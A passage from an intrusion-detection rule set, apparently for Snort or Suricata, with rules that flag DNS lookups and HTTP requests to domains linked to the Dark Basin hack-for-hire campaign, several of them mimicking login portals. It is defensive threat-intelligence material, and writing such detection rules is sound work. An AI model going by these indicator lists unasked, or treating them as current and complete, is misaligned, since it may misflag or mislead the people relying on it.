(msg: "Dark Basin Domain: nodeserver50.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|nodeserver50|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353642; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: nodeserver50.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"nodeserver50.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])nodeserver50\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353643; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: nrgrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|nrgrsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357411; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: nrgrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|nrgrsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357412; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: nrgrsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"nrgrsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])nrgrsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357413; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: offshorecompanyllp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|offshorecompanyllp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355341; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: offshorecompanyllp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|offshorecompanyllp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355342; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: offshorecompanyllp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"offshorecompanyllp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])offshorecompanyllp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355343; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: offshoretoursntravels.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|offshoretoursntravels|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355291; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: offshoretoursntravels.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|offshoretoursntravels|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355292; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: offshoretoursntravels.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"offshoretoursntravels.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])offshoretoursntravels\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355293; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ondemand.pushthisurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|ondemand|0b|pushthisurl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357771; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ondemand.pushthisurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|ondemand|0b|pushthisurl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357772; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ondemand.pushthisurl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ondemand.pushthisurl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ondemand\.pushthisurl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357773; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportal.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|onlineloginportal|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355811; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportal.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|onlineloginportal|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355812; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginportal.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginportal.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginportal\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355813; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportalhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|onlineloginportalhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355821; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportalhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|onlineloginportalhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355822; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginportalhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginportalhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginportalhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355823; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportalmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|onlineloginportalmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355831; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportalmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|onlineloginportalmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355832; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginportalmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginportalmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginportalmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355833; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportalsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|onlineloginportalsg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355841; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginportalsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|onlineloginportalsg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355842; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginportalsg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginportalsg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginportalsg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355843; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginserviceeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|onlineloginserviceeu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355671; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginserviceeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|onlineloginserviceeu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355672; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginserviceeu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginserviceeu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginserviceeu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355673; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginserviceuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|onlineloginserviceuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355681; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginserviceuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|onlineloginserviceuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355682; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginserviceuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginserviceuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginserviceuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355683; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlineloginserviceusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|onlineloginserviceusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355691; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlineloginserviceusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|onlineloginserviceusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355692; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlineloginserviceusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlineloginserviceusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlineloginserviceusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355693; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlinemusicstoreuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|onlinemusicstoreuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357201; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlinemusicstoreuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|onlinemusicstoreuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357202; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlinemusicstoreuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlinemusicstoreuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlinemusicstoreuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357203; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: onlinenetworkinghelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|onlinenetworkinghelp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353501; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: onlinenetworkinghelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|onlinenetworkinghelp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353502; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: onlinenetworkinghelp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"onlinenetworkinghelp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])onlinenetworkinghelp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353503; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: openserverholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|openserverholland|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353181; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: openserverholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|openserverholland|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353182; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: openserverholland.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"openserverholland.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])openserverholland\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353183; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: optionalblogging.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|optionalblogging|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356891; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: optionalblogging.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|optionalblogging|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356892; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: optionalblogging.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"optionalblogging.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])optionalblogging\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356893; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: optionalblogginges.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|optionalblogginges|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356241; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: optionalblogginges.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|optionalblogginges|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356242; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: optionalblogginges.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"optionalblogginges.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])optionalblogginges\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356243; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: optionalbloggingeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|optionalbloggingeu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356251; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: optionalbloggingeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|optionalbloggingeu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356252; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: optionalbloggingeu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"optionalbloggingeu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])optionalbloggingeu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356253; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: optionalblogginguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|optionalblogginguk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356261; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: optionalblogginguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|optionalblogginguk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356262; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: optionalblogginguk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"optionalblogginguk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])optionalblogginguk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356263; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: optionaldesigners.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|optionaldesigners|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355211; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: optionaldesigners.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|optionaldesigners|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355212; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: optionaldesigners.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"optionaldesigners.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])optionaldesigners\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355213; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: optionsothego.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|optionsothego|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356651; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: optionsothego.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|optionsothego|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356652; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: optionsothego.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"optionsothego.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])optionsothego\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356653; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: pageredirectservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|pageredirectservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354951; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: pageredirectservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|pageredirectservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354952; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: pageredirectservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"pageredirectservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])pageredirectservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354953; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: pageserver299.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|pageserver299|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353341; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: pageserver299.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|pageserver299|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353342; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: pageserver299.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"pageserver299.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])pageserver299\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353343; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: pageserver77.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|pageserver77|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353211; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: pageserver77.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; 